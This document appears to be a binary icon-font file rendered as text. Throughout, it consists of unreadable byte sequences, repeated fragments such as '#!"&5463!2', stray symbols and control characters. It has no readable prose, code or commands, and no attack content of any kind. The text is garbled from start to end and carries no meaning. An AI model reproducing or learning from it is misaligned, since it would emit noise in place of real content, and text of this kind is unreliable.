2   ~   /  $4&"2	#"/&547#"  32>32&4&&4V%54'j&&'/덹:,{	&4&&4&V%%l$65&b'Cr!"k[G             + ;  %!5!!5!!5!#!"&5463!2#!"&5463!2#!"&5463!2    &&&&&&&&&&&&@ && && && && && &&   {    #"'&5&763!2{' * *)* )'             /  !5!#!"&5!3!26=#!5!463!5463!2!2  ^B@B^&@&`   ^B`8(@(8`B^   B^^B&&B^(88(^      G  	76#!"'&?	#!"&5476	#"'&5463!2	'&763!2#"'c)'&@**@&('c(&*cc*&'*@&('c'(&*cc*&('c'(&@*        1 9 A S [  #"&532327#!"&54>322>32 "&462  &6 +&'654'32>32"&462QgRp|Kx;CByy 6Fe=
BPPB
=eF6  ԖV>!pRgQBC;xK|Ԗ{QNa*+%xx5eud_C(+5++5+(C_due2ԖԖ>NQ{u%+*jԖԖ     p ! C i  4/&#"#".'32?64/&#"327.546326 #"/&547'#"/&4?632632(* 8(!)(A(')* 8(!USxySSXXVzxTTUSxySSXXVzxT@( (8 *(('((8 SSUSx{VXXTTSSUSx{VXXT        #!" 5467&54 32632t,Ԟ;F`j)6,>jK?  s  !  %#!"&7#"&463!2+!'5#8EjjE8@&& &&@XYY&4&&4&qDS%q%         N \ j x     2"&4#"'#"'&7>76326?'&'#"'.'&676326326&'&#"32>'&#"3254?''74&&4&lNnbSVZbRSD	zz	DSRb)+USbn\.2Q\dJ'.2Q\dJ.Q2.'Jd\Q2.'Jd`!O` 	`&4&&4r$#@B10M5TNT{L5T	II	T5L;l'OT4M01B@#$*3;$*3;;3*$;3*$:$/ @@Qq`@         " % 3 <  2#!"&5!"&5467>3!263!	!!#!!46!#!(88(@(8(8(`((8D<++<8(` (8(`8(@(88( 8((`(8((<`(8 (``(8    || ?  %#"'&54632#"'&#"32654'&#"#"'&54632|udqܟs]
=
OfjL?R@T?"&
>
f?rRX=Edudsq
=
_MjiL?T@R?E& f
>
=XRr?b      ! 1 E  )!34&'.##!"&5#3463!24&+";26#!"&5463!2  

08((88(@(88((88((`(1

`(88( (88( @`(88(@(8(`         #!"&5463!2 w@www`@www             /  %#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&&&&&    @    ' 7 G  $"&462"&462#!"&=463!2 "&462#!"&=463!2#!"&=463!2ppppppp@ppp@@Рppppppppp         < L \ l |  #"'732654'>75"##5!!&54>54&#"'>3235#!"&=463!2!5346=#'73#!"&=463!2#!"&=463!2}mQjB919+i1$AjM_3</BB/.#U_:IdDRE@k*Gj@@TP\BX-@8
C)5XsJ@$3T4+,:;39SG2S.7<vcc))%Ll}         5 e  2#!"&=463%&'&5476!2/&'&#"!#"/&'&=4'&?5732767654'&@02uBo
T25XzrDCBBEh:%)0%HPIP{rQ9f#-+>;I@KM-/Q"@@@#-bZ$&P{<8[;:XICC>. '5oe80#.0(l0&%,"J&9%$<=DTI     c s  &/6323276727#"327676767654./&'&'737#"'&'&'&54'&54&#!"3!260%<4"VRt8<@<-#=XYhW8+0$"+dTLx-'I&JKkmuw<=V@!X@		v'|N;!/!$8:IObV;C#V
&(mL.A:9 !./KLwPM$@@  
       / ? O _ o     %54&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!26#!"&5463!2 @@ @ @ @ @ @ @@^BB^^B@B^NB^^B@B^^         # + 3  	'$"/&4762%/?/?/?/?%k*66bbbb|<<<bbbbbbbb%k66Ƒbbb<<<<^bbbbbb    @      M  $4&"2!#" 4&"2&#"&5!"&5#".54634&>?>;5463!2LhLLh		 LhLLhL!'ԖԖ@'!&	?& &LhLLhL 		hLLhL 	jjjj	&@6/"&&       J   #"'676732>54.#"7>76'&54632#"&7>54&#"&54$  ok;	-j=yhwi[+PM3ѩk=J%62>VcaaQ^ ]G"'9r~:`}Ch  0=Z٤W=#uY2BrUI1^Fk[|a      L  2#!67673254.#"67676'&54632#"&7>54&#"#"&5463ww+U	,i<F{jh}Z+OM
2ϧj<J%51=Ubwww@wzX"'8'TyI9`{Bf 
,>XբW<"uW1AqSH1bdww        ' 7  4'!3#"&46327&#"326%35#5##33#!"&5463!20U6cc\=hlࠥYmmnnnnw@wwww&46#Ȏ;edwnnnnn@www    	 ] # /  #"$&6$3 &#"32>7!5!%##5#5353Еttu{zz{SZC`cot*tq||.EXN#??           , <  !5##673#$".4>2"&5!#2!46#!"&5463!2 rM* *M~~M**M~~M*jjj& && &`P%挐|NN||NN|* jj jj@&&&&    @     "'&463!2 @4@&Z4@4&        @    #!"&4762 &&4Z4&&4@     @    "'&4762&4@4&@&4&      @    "&5462@@4&&44@&&@           3!!%!!26#!"&5463!2`m`^BB^^B@B^ `@B^^BB^^    @     "'&463!2#!"&4762 @4@&&&&44@4&Z4&&4@            "'&463!2 @4@&4@4&        @    #!"&4762 &&4Z4&&4@          :  #!"&5;2>76%6 +".'&$'.5463!2 ^B@B^,9j9Gv33vG9H9+bI\
A+=66=+A
[">nSMA_:B^^B1&c*/11/*{'VO3@/$$/@*?Nh^    l   +  !+"&5462!4&#"!/!#>32]_gTRdgdQV?UI*Gg?!2IbbIJaaiwE3300 08        4   #"$'&6?6332>4.#"#!"&54766$32 z䜬m
IwhQQhbF*@&('kz
	
_hQнQGB'(&*eoz  ( q  !#"'&547"'#"'&54>7632&4762.547>32#".'632%k'45%&+ ~((h		&

\((		&

~ +54'k%5%l%%l$65+ ~

&		((\

&		h((~ +%'         ! ) 1 9 K   4&"2 4&"26.676&$4&"2 4&"24&"2#!"'&46$ KjKKjKjKKje2.e<^P,bKjKKjKjKKjKjKKj##LlLKjKKjKjKKjK~-M<M(PM<rjKKjKjKKjKujKKjKL           <    6?32$6&#"'#"&'5&6&>7>7&54$ LhяW.{+9E=cQdFK1A
0)pJ2`[Q?l&٫C58.H(Y'        : d    6?32$64&$ #"'#"&'&4>7>7.546'&'&'# '32$7>54'Yj`a#",5NK
~EVZ|$2$
|:
$2$|ZV:(t}hfR88T
h̲X(	&%(Hw(%&	(XZT\MKG{x   | !  #"'.7#"'&7>3!2%632u
jH{(e9
1b      U  #!"&546;5!32#!"&546;5!32#!"&546;5463!5#"&5463!2+!232 8((88(` `(88((88(` `(88((88(`L4 `(88(@(88(` 4L`(8 (88(@(88((88(@(88((88(@(84L8(@(88((8L48      O Y  "&546226562#"'.#"#"'.'."#"'.'.#"#"&5476 $32&"5462И&4&NdN!>!1X:Dx++ww++xD:X1- U! *,*&4&hh&&2NN2D&
..J<
$$
<JJ<
$$
<J..
Pbb&&          7  !!"&5!54&#!"3!26!	#!"&=!"&5463!2 `(8 @ + 8(@(8(88(@(8(8( @@m+U`(88(8(@(88(h`         ( \  "&54&#"&46324."367>767#"&'"&547&547&547.'&54>2l42cKEooED
)

)
Dg-;</-?.P^P.?-/<;-gYY.2 L4H|O--O|HeO,,Oeq1Ls26%%4.2,44,2.4%%62sL1qcqAAq      4  #!#"'&547632!2#"&=!"&=463!54632 		@	`		`?`
@		@	!		
          5  4&+4&+"#"276#!" 5467&54 32632 	`		_
v,Ԝ;G_j)``			_ԟ7,>jL>       5  4'&";;265326#!" 5467&54 32632 			
v,Ԝ;G_j)	`		`7,>jL>        X `  $"&462#!"&54>72654&'547 7"2654'54622654'54&'46.'  &6 &4&&4&yy%:hD:FppG9Fj 8P8 LhL 8P8 E;
Dh:%>4&&4&}yyD~s[4Dd=PppP=d>hh>@jY*(88(*Y4LL4Y*(88(*YDw"
A4*[s~>       M   4&"27 $=.54632>32#"' 65#"&4632632 65.5462 &4&&4G9&
<#5KK5!!5KK5#<
&ܤ9Gpp&4&&4&@>buោؐ &$KjKnjjKjK$& jjb>Ppp        %  !5!#"&5463!!35463!2+32  @\\ 8(@(8 \@@\ \@\  (88(\   @    3  4#"&54"3#!"&5!"&5>547&5462;U gI@L4@Ԗ@4L2RX='8P8'=XR U;Ig04LjjL4*\(88(\    @    "   4&+32!#!"& +#!"&5463!2pP@@P j j@@\@\&0pj	 \\&       - B  +"&5.5462265462265462+"&5#"&5463!2G9L44L9G&4&&4&&4&&4&&4& L44L &=d4LL4d=&&`&&&&`&&&&4LL4  &         # 3 C S  #!"&5463!2!&'&!"&5!463!2#!"&52#!"&=4632#!"&=463(8((88((`x
c`(8  @@@`((88(@(8(D9 8( `@@@ @@        / ? O _ o         -=  %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!!5463!2#!"&5463!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @ & && &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  `&&&&        / ? O _ o        %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!#!"&=!!5463!24&+"#54&+";26=3;26%#!"&5463!463!2!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@  8(@(8 @@@@@ & &&@8((8@&@@@@@@@@@@@@@@@@@@@@ (88( @````- && & (88(&  @    < c  $4&"2!# 4&"254&+54&+"#";;26=326+"&5!"&5#"&46346?>;463!2KjKKj KjKKj &ԖԖ&&@&&KjKKjK 
jKKjK .&jjjj&4&@@&&      # ' 1 ? I  54&+54&+"#";;26=326!5!#"&5463!!35463!2+32    \\8(@(8 \  \ \@\  (88(\          :  #32+53##'53535'575#5#5733#5;2+3@E&&`@@`    `@@`&&E%@`@ @ @		      		@ 0
    @      !3!57#"&5'7!7! K5@   @ 5K@@@      # 3  %4&+"!4&+";265!;26#!"&5463!2 && &&&& && w@www&&@&&&&@&&@www        # 3  54&#!4&+"!"3!;265!26#!"&5463!2 &&&&&@&&@& w@www@&@&&&&&&@&:@www    - M3  )  $"'&4762	"'&4762	s
2

.



2

w
2

.



2

w
2





2

ww

2





2

ww     M3  )   "/&47	&4?62"/&47	&4?62S
.

2

w

2


.

2

w

2

M
.

2



2

.

.

2



2

.   M 3S  )  $"'	"/&4762"'	"/&47623
2

ww

2





2

ww

2




2

w

2



.v
2

w

2



.    M 3s  )   "'&4?62	62"'&4?62	623
.

.

2



2

.

.

2



2
.



2

w

2v
.



2

w

2   - Ms3    	"'&4762s
w

2

.



2
ww

2





2     MS3    "/&47	&4?62S
.

2

w

2

M
.

2



2

.    M3S    "'	"/&47623
2

ww

2



m
2

w

2



.    M-3s    "'&4?62	623
.

.

2



2-
.



2

w

2        /  4&#!"3!26#!#!"&54>5!"&5463!2 @^B  & &  B^^B@B^ @MB^%Q=&&<P&^B@B^^            + 3  "&5463!2#3!2654&#!"3#!"&=324+"3B^^B@B^^B@`^BB^p ^BB^^B@B^`@S`(88(``             '  $4&"2%4&#!"3!26#!"&5463!2&4&&4@^BB^^B@B^f4&&4&@B^^B@B^^            /  $4&"2%4&#!"3!264+";%#!"&5463!2/B//B   0L4 4LL4 4L_B//B/@M    4LL4 4LL            >& $$ (r^aa(^aa        ! C  #!"&54>;2+";2#!"&54>;2+";2 pPPpQh@&&@j8(PppPPpQh@&&@j8(Pp@PppPhQ&&j (8pPPppPhQ&&j (8p         ! C  +"&=46;26=4&+"&5463!2+"&=46;26=4&+"&5463!2 Qh@&&@j8(PppPPpQh@&&@j8(PppPPp@hQ&&j (8pPPppP@hQ&&j (8pPPpp     @@  	   # + 3 ; G  $#"&5462 "&462 "&462#"&462 "&462 "&462 "&462#"&54632K54LKj=KjKKjKjKKjL45KKjK<^^^KjKKjppp\]]\jKL45KjKKjKujKKjK4LKjKK^^^jKKjKpppr]]\            $$  ^aaQ^aa      ,  #"&5465654.+"'&47623  #>bqb&4  4&ɢ5"		#D7euU6 & 4 & m       1 X   ".4>2".4>24&#""'&#";2>#".'&547&5472632>3=T==T==T==T=v)GG+v@bRRb@=&\Nj!>3lkik3hPTDDTPTDDTPTDDTPTDD|xxXK--K|Mp<#	)>dA{RXtfOT# RNftWQ          ,  %4&#!"&=4&#!"3!26#!"&5463!2!2 8(@(88((88((8\@\\@\\(88(@(88(@(88@\\\\       u  ' E  4#!"3!2676%!54&#!"&=4&#!">#!"&5463!2!2325([5@(\& 8((88((8 ,9.+C\\@\ \6Z]#+#,k(88(@(88(;5E>:5E\\\ \1.           $ 4 @  "&'&676267> "&462"&462 .  > $$ n%%/02
KjKKjKKjKKjKfff^aayy/PccP/jKKjKKjKKjKffff@^aa        $ 4 @  &'."'.7>2 "&462"&462 .  > $$ n20/%7KjKKjKKjKKjKfff^aa3/PccP/y	jKKjKKjKKjKffff@^aa         + 7   #!"&463!2 "&462"&462 .  > $$ &&&&KjKKjKKjKKjKfff^aa4&&4&jKKjKKjKKjKffff@^aa       # + 3 C  54&+54&+"#";;26=3264&"2 4&"2$ #"'##"  3!2@@KjKKjKKjKKjKܒ,gjKKjKKjKKjKXԀ,,          # / ; G S _ k w       +"=4;27+"=4;2'+"=4;2#!"=43!2%+"=4;2'+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;54;2!#!"&5463!2```` ````````````` `` `` p` K55KK55Kp````````````````````````` 5KK55KK     @   * V  #"'.#"63232+"&5.5462#"/.#"#"'&547>32327676R?d^7ac77,9xm#@#KjK#
ڗXF@Fp:f_ #WIpp&3z	h[ 17q%q#::#5KKu't#!X:	%#+=&>7p   @    * 2 F r  56565'5&'.	#"32325#"'+"&5.5462#"/.#"#"'&547>32327676@ͳ82.,#,fk*1x-!#@#KjK#
ڗXF@Fp:f_ #WIpp&3z	e`vo8t-	:5	[*#::#5KKu't#!X:	%#+=&>7p    3  $  	"/&47	&4?62#!"&=463!2I.

2

w

2


-@).

2



2

.
-@@     -S  $ 9  %"'&4762		/.7>	"/&47	&4?62i2

.



2

w
E>u>.

2

w

2


2





2

ww
!h.

2



2

.
       ;  #"'&476#"'&7'.'#"'&476'  )'s"+5+@ա'  )'F* 4 *Er4M:}}8GO* 4 *     ~ 
 (  -/'	#"'%#"&7&67%632B;><V??V --C4
<B=cB5!%%!b 7I))9I7        	#"'.5!".67632y(
#
  ##@,(
)        8  !	!++"&=!"&5#"&=46;546;2!76232-SSS

		 SS``		

          K  $4&"24&"24&"27"&5467.546267>5.5462 8P88P88P88P8P88P4,CS,4pp4,,4pp4,6d7AL*',4ppP88P8P88P8HP88P8`4Y&+(>EY4PppP4Y4Y4PppP4Y%*<O4Y4Ppp        % @ \ h t   	"'&4762"&5462&#!"&463!2#"'&'7?654'7&#"&'&54?632#!"&463!2"&5462"'&4762 		 

	@USxySR#PT('#TUSxySN@ 		 

		 		

 		
3@xSSUO#'(V^'(PVvxSSUi @ 		

 		
   `     <  +"&=46;2+"&=467>54&#"#"/.7!2<'G,')7N;2]=A+#H0PRH6^;<T%-S#:/*@Z}

>h         .  %#!"&=46;#"&=463!232#!"&=463!2& &&@@&&&@&& && &&&&&&&&f&&&&   b      #!"&=463!2#!"&'&63!2 & && &' '%@% &&&& && &&    k % J  %#/&'#!53#5!36?!#!'&54>54&#"'6763235
Ź}4NZN4;)3.i%Sin1KXL7觧*		#&		*@jC?.>!&1'\%Awc8^;:+<!P        % I  %#/&'#!53#5!36?!#!'&54>54&#"'6763235
Ź}4NZN4;)3.i%PlnEcdJ觧*		#&		*-@jC?.>!&1'\%AwcBiC:D'P           %!	#!"&'&6763!2P &: &?&: &?5"K ,)""K ,)      h  #".#""#"&54>54&#"#"'./"'"5327654.54632326732>32YO)I-D%n "h.=T#)#lQTv%.%P_	%	%_P%.%vUPl#)#T=@/#,-91P+R[Ql#)#|''
59%D-I)OY[R+P19-,# #,-91P+R[YO)I-D%95%_P%.%v      ' 3   !2#!"&463!5& =462   =462 &546  &&&& &4&r&4& @&4&&4&G݀&&&&f    s   C K  &=462	#"'32 =462 !2#!"&463!5&'"/&4762%4632e*&4&i76`al&4& &&&& }n

R



R
zfOego&&5`3&&&4&&4&D

R



R
z v        "  !676"'.5463!2@@w^Cct~55~tcC&&@?J V|RIIR|V &&           # G  !!%4&+";26%4&+";26%#!"&546;546;2!546;232@@ @@L44LL4^B@B^^B@B^4L   N 4LL4 4L`B^^B``B^^B`L      L   4&"2%#"'%.5!#!"&54675#"#"'.7>7&5462!467%632 &4&&4@ o& &}c ;pG=(8Ai8^^.&4&&4&`	`fs&& jo/;J!#2
 KAE*,B^^B!`	   $   -   4&"2#"/&7#"/&767%676$!28P88PQr	@U	@
{`PTP88P8P`
	@U	@rQ           !6'&+!!!!2Ѥ8̙e;<*@8 !GGGQII            %764'	64/&"2  $$ f3f4:4^aaf4334f:4:^aa         %64'&"	2  $$ :4f3f4F^aa4f44f^aa         764'&"27	2  $$ f:4:f4334^aaf4:4f3^aa            %64/&"	&"2  $$ -f44f4^aa4f3f4:w^aa   @    7!!/#35%!'!%j/djg2|855dc b    @   !	!%!!7!FG)DH:&HdS)         U   4&"2#"/ $'#"'&5463!2#"&=46;5.546232+>7'&763!2&4&&4f]wq4qw]	`dC&&:FԖF:&&Cd`4&&4&	]]	`d[}&&"uFjjFu"&&y}[d       #  2#!"&546;4   +"&54&" (88(@(88( r&@&Ԗ 8((88(@(8@&&jj           ' 3   "&462 &         .  > $$  Ԗ>aX,fff^aaԖԖa>TX,,~ffff@^aa          /  +"&=46;2+"&=46;2+"&=46;28((88((8 8((88((8 8((88((8 (88((88((88((88((88((88           /  +"&=46;2+"&=46;2+"&=46;28((88((88((88((88((88((8 (88((88(88((88(88((88        5 E  $4&"2%& '&;26%&.$'&;276#!"&5463!2 KjKKjf	
\
w@wwwjKKjK"Gܚf


	@www             $64'&327/a^  !  ^aaJ@%%	  65   /  	64'&"2	"/64&"'&476227 <ij6j6u%k%~8p8}%%%k%}8p8~%<<ij4j4t%%~8p8~%k%%%}8p8}%k          54&#!"3!26#!"&5463!2 &&&& w@www@&&&&:@www        /  #!"&=463!24&#!"3!26#!"&5463!2@^BB^^B@B^www@w@@2@B^^BB^^ww@w        +#!"'&?63!#"'&762(@	@(@>@%%%         !232"'&76;!"/&76 ($>(		 J &%       $  %64/&"'&"2#!"&5463!2ff4-4ff4fw@wwwf4f-f4@www         /  #5#5'&76	764/&"%#!"&5463!248`# \P\w@www4`8#@  `\P\`@www        )  4&#!"273276#!"&5463!2 & *f4' w@www`&')4f*@www     % 5  	64'&"3276'7>332#!"&5463!2`'(wa8!
,j.(&w@www`4`*'?_`ze<	bw4/*@www           - .  6  $$     (r^aaO (_^aa       -  "'&763!24&#!"3!26#!"&5463!2yB((@ w@www]#@## @@www       -  #!"'&7624&#!"3!26#!"&5463!2y((@B@u@ w@www###@@@www       -   '&54764&#!"3!26#!"&5463!2@@####@ w@wwwB((@@www      `  %#" '#"&=46;&7#"&=46;6 32/.#"!2#!!2#!32>?6#!"'?_BCbCaf\	+~2	

	}0$q90r pr%Dpu       ?  #!"&=46;#"&=46;54632'.#"!2#!!546;2Da__	g	
*`-Uh1߫}
	$^L    4   b  +"&=.'&?676032654.'.5467546;2'.#"ǟB{PDg	q%%Q{%P46'-N/B).ĝ9kC<Q7>W*_x*%K./58`7E%_	,-3
cVO2")#,)9;J)"!*
#VD,'#/&>AX      >  ++"' '&=46;267!"&=463!&+"&=463!2+32Ԫ$
		pU9ӑ@/*fo	VRfqf=S     E  !#"&5!"&=463!5!"&=46;&76;2>76;232#!!2#![ 

%
)
	"JgUhBW&WXhUg        8   4&#!!2 #!!2#!+"&=#"&=46;5#"&=46;463!2j@jog|@~vvu            n  #467!!3'##467!++"'#+"&'#"&=46;'#"&=46;&76;2!6;2!6;232+32QKt# #FNQo!"դѧ!mY

Zga~bm]

[o"U+, @h
h@@Xhh@   8  3 H \  #5"'#"&+73273&#&+5275363534."#22>4.#2>ut3NtRP*Ho2
Lo@!R(Ozh=,G<X2O:&D1A.1G$<2I+A;"B,;&$LGlF/ 3D;a$8$".!3!
.          3!#!"&5463! 8( 8((88(  h (8(88(@(8         ( 8 H  !!#!"&5463!54&#!"3!2654&#!"3!2654&#!"3!26(D 8((88( 8@@@$(88(@(8(8 @@@@@@   " }  
 $ B R  3/&5##"'&76;46;232!56?5"#+#5!76;5!53'#3!533H

Dq		x7	K//KFh/"		@`Z		sYwjjjjj     " }  
 $ 4 R  %3/&5##"'&76;46;232!53'#3!533!56?5"#+#5!76;5H

K//KFq		x7	h/"		@`jjjjjZ		sY
w  "     ) 9 I Y  %#"'&76;46;232#!"&=463!2#!"&=463!2#!"&=463!2#!"&=463!2

 @@  `		@`     "     ) 9 I Y  #!"&=463!2%#"'&76;46;232#!"&=463!2#!"&=463!2#!"&=463!2   

@@ r		@`r    "   
 $ C V  %4&#"326#"'&76;46;232%#"'&'73267##"&54632!5346=#'73BX;4>ID2F

8PuE>.'%&TeQ,jm{+>R{?jJrL6V		@`7>wmR1quWei/rr:Vr     "   
 $ 7 V  4&#"326#"'&76;46;232!5346=#'73#"'&'73267##"&54632BX;4>ID2F

+>R{8PuE>.'%&TeQ,jm{?jJrL6		@`rr:Vr3>wmR1quWei    @   \  %4&#"326#!"&5463!2+".'&'.5467>767>7>7632!2 &%%&&&& &7.'	:@$LBWM{#&$h1D!		.I/!	Nr&&%%&&&&V?, L=8=9%pEL+%%r@W!<%*',<2(<&L,"r       @    \  #"&546324&#!"3!26%#!#"'.'.'&'.'.546767>; &%%&&&& &i7qN	!/I.		!D1h$&#{MWBL$@:	'.&&%%&&&&=XNr%(M&<(2<,'*%<!W@r%%+LEp%9=8=L       	   + = \ d       %54#"327354"%###5#5#"'&53327#"'#3632#"'&=4762#3274645"=424'.'&!  7>76#'#3%54'&#"32763##"'&5#327#!"&5463!2BBPJNC'%!	B?)#!CC $)54f"@@
B+,A

A+&+A
ZK35N #J!1331CCC $)w@www2"33FYF~(-%"o4*)$(*	(&;;&&9LA38334S,;;,WT+<<+T;(\g7x:&&::&&<r%-@www       	   + = [ c }     #"'632#542%35!33!3##"'&5#327%54'&#"5#353276%5##"=354'&#"32767654"2 '.'&547>76 3#&'&'3#"'&=47632%#5#"'&53327''RZZ:kid YYY.06	62+YY-06	R[!.'CD''EH$VVX::YX;:Yfyd/%jG&DC&&CD&O[52.[$C-D..D^^* ly1%=^I86i077S3
$EWgO%33%OO%35	EEFWt;PP;pt;PP;pqJgTFQ%33&PP%33%R7>%3!+}   {  '  +"&72'&76;2+"'66;2U
&
	(P

*'eJ."-dZ-n -         ' 7  4'&+";27&+";276'56#!"&5463!2~}		7e 	۩w@www"$Q#'!#@www       
   I  -22#!&$/.'.'.'=&7>?>369II ! '	$ !01$$%A'	$ ! g	
\7@)(7Y
	
 \7@)(7Y
   @       	'5557	,VWQV.RW=?l%l`~0            !#!#%777	5!	R!!XCCfff݀# `,{{{`          O g   4&"2  &6 $"&462$"&62>7>7>&46.'.'.  '.'&7>76  Ԗ HR6L66LGHyU2LL2UyHHyU2LL2UyHn
X6X

XX
ԖԖH6L66L6L2UyHHyU2LL2UyHHyU2Ln6X

XX

           2#!"&5463 4&"2$4&"2ww@ww||||||w@www|||||||       	   !3	37!  $$  n6^55^h
^aaM1^aa    P 
  * C g  '.676.7>.'$7>&'.'&'? 7%&'.'.'>767$/u5'&$I7ob?K\[zH,1+.@\7<?5\V,$Vg.GR@ 7U,+!	#	"8$}{)<?L RR;kr,yE[z#	/1
"#	#eCI0/"5#`	"84~&p)4	2{H-.%W.L>       ' : Y i  4&67&'&676'.'>7646&' '7>6'&'&7>7#!"&5463!2PR$++'TJXj7-FC',,&C."!$28h/"	+p^&+3$i0(w@www+.i6=Bn\C1XR:#"'jj8Q.cAj57!?"0D$4"P[&2@www     D   "  %.5#5>7>;!!76PYhpN!HrD0M C0N#>8\xx: W]oW-X45       /  %'#.5!5!#"37>#!"&5463!2p>,;$4
 5eD+WcEw@wwwK()F
,VhV^9tjA0/@www  @     #"'&76;46;23

	 &

         ++"&5#"&7632	^

c &

     @    #!'&5476!2  &

^

b	        '&=!"&=463!546
 &

	
     q  & 8  #"'&#"#"5476323276326767q'T1[VA=QQ3qqHih"-bfGw^44O#A?66%CKJA}}  !"䒐""A$@C3^q|z=KK?6lk)           %!%!VVuuu^-m5w}n      ~    7 M [   264&"264&"2"&546+"&=##"&5'#"&5!467'&766276#"&54632    *<;V<<O@-K<V<<+*<J.@kclGH__H<+*<<*+<    <*R+<<+*<f.@+<<++<<+@.7uu7**R+<<++;; 	      "%3I  #5472&6&67><&4'>&4.'.'.'.'.'&6&'.'.6767645.'#.'6&'&7676"&'&627>76'&7>'&'&'&'&766'.7>7676>76&6763>6&'&232.'.6'4."7674.'&#>7626'.'&#"'.'.'&676.67>7>5'&7>.'&'&'&7>7>767&'&67636'.'&67>7>.'.67	\

	U7	
J#!W!'	"';%
k	)"	
	'

/7* 		I	,6
*&"!O6*O $.(	*.'
.x,	$CN	
		*	
6		
7%&&_f&
",VL,G$3@@$+
"


V5 3"	""#dA++
y0D-%&n4P'A5j$9E#"c7Y
6"	&
8Z(;=I50' !!eR

"+0n?t(-z.'<>R$A"24B@(	~	9B9,	*$				<>	?0D9f?Ae 	.(;1.D	4H&.Ct iY% *	
7J	 <W0%$	
""I!*D	 ,4A'4J"	.0f6D4pZ{+*D_wqi;W1G("%%T7F}AG!1#% JG3        ' . 2 > V b  %&#'32&'!>?>'&' &>"6&#">&'>26 $$  *b6~#= XP2{&%gx| .W)oOLOsEzG<	CK}E	$MFD<5+
z^aa$MWM1>]|YY^DեA<KmE6<"@9I5*^aa       > ^  4./.543232654.#"#".#"32>#"'#"$&547&54632632':XM1h*+D($,/9p`DoC&JV<Z PA3Q1*223IoBkែhMIoPែhMIoP2S6,M!"@-7Y.?oI=[<%$('3 -- <-\%FuPoIMhPoIMh    ,  # ? D  76&#!"7>;267676&#!"&=463!267
#!"'&5463!26%8#!&&Z"M>2!	^I7LRx_@>MN""`=&&*%I},
		L7_jj9          /  %4&#!"3!264&#!"3!26#!"&5463!2  &&&&  &&&&         1 9  #"'#++"&5#"&5475##"&54763!2 "&462 8(3-	&B..B&	-3(8 IggI `(8+Ue&.BB.&+8(kk`      % -  "&5#"&5#"&5#"&5463!2 "&462 8P8@B\B@B\B@8P8pPPp@`(88(`p.BB.0.BB.(88(Pppͺ      !  %>&'&#"'.$ $$ ^/(V=$<;$=V).X^aaJ`"(("`J^aa    ,   I   4."2>%'%"/'&5%&'&?'&767%476762%6[՛[[՛oܴ
 
		$$	"	$$		՛[[՛[[5`

^^

2``2

^^

`     1  %#"$54732$%#"$&546$76327668ʴhf킐&^zs,!V[vn)	6<ׂf{z}))Ns3(  @   +   4&#!"3!2#!"&5463!2#!"&5463!2@& && f&&&&@& && &4&&4& @&&&& && &&    ` B H   +"/##"./#"'.?&5#"&46;'&462!76232!46 `&C6@Bb03eI;:&&&4L4&F
Z4&w4) ''5r&4&&4&&4    }G   #&/.#./.'&4?63%27>'./&'&7676>767>?>%6})(."2*& @P9A
#sGq]
#lh<*46+(	
<5R5"*>%</
 '2@ 53*9*,Z&VE/#E+)AC
(	2k<X1$:hI(B"	!:4Y&>"/	+[>hy
	   K 
  ! / U i   %6&'&676&'&6'.7>%.$76$% $.5476$6?62'.76&&'&676%.76&'..676#"NDQt	-okQ//jo_		%&JՂYJA-.--
9\DtT+X?*<UW3'	26$>>W0{"F!"E ^f`$"_]\<`F`FDh>CwlsJ@;=?s:i_^{8+?`)O`s2RDE58/K       r 	    #"'>7&4$&5mī"#̵$5$"^^W=acE*c      z  k  ./ "&4636$7.'>67.'>65.67>&/>z X^hc^O<q+f$H^XbVS!rȇr?5GD_RV@-FbV=3!G84&3Im<$/6X_D'=NUTL;2KPwtPt= 

&ռ,J~S/#NL,8JsF);??1zIEJpqDIPZXSF6\?5:NR=;.&1          +!"&=!!%!5463!2sQ9Qs***sQNQsBUwwUBF H CCTww      % 1   #"&=!"&=463!54632.  6  $$ 		`?(r^aa		
(_^aa         % 1  #!#"'&47632!2.  6  $$ 		@	`(r^aa
?		@	(_^aa        /  #"'&476324&#!"3!26#!"&5463!2 &@& @ w@www&@B@&@@www          "&462  >& $$  Ԗ*(r^aaԖԖ (^aa       ]  6  #"$547 32>%#"'!"&'&7>32'!!!2f:лѪz~u: ((%`V6B^hD%i(]̳ޛ	*>6߅r#!3?^BEa߀#9       # 3  6'&632#"'&'&63232#!"&5463!2
Q,&U#+' ;il4L92<D`w@www`9ܩ6ɽ]`C477&@www       D  +"&5#"'&=4?5#"'&=4?546;2%6%66 546;2
	
	wwwwcB
G]B
Gty]ty      # 3 C  #!+"&5!"&=463!46;2!24&#!"3!26#!"&5463!2@`@`^BB^^B@B^www@w@`@`2@B^^BB^^ww@w        ' / ? P  +5#"&547.467&546;532!764'!"+32#323!&ln@:MM:@nY*Yz--zY*55QDDU9pY-`]]`.X /2I$	t@@/!!/@@3,$,3$p$00&*0&&!P@     R V  2#"&/#"&/#"&546?#"&546?'&54632%'&54632763276%>S]8T;/M77T</L7=Q7,i<R7,5T</L666U;/M5<U<,i6iQ=a!;;V6-j;V6-5	P=/L596Q</L5<U6-i;V7,7O;-I68i;k         ) I  2#!"&5463#9"'.'.'3!264&#!"2>7%>ww@ww!"5bBBb//*
8(@(87)(8=%/'#?w@www#~$EE y &L(88e):8(%O r		

		O           ? G Q a q  47&67>&&'&67>&"&#6$32#"#"'654   $&6  $6&$ CoL.*KPx.* 
iSƓi
7J?~pi{_Я;lLUZ=刈刈_t'<Z :!
	@!
j`Q7$ky, Rfk*4LlL=Z=刈           &$&546$7%7&'5>]5%w  &P?zrSF!|         & 0  	##!"&5#5!3!3!3!32!546;2!5463)
)     ;));;)) &&        &@@&&&    	   6   $&727 "'%+"'&7&54767%&4762֬>4Pt+8?::
		
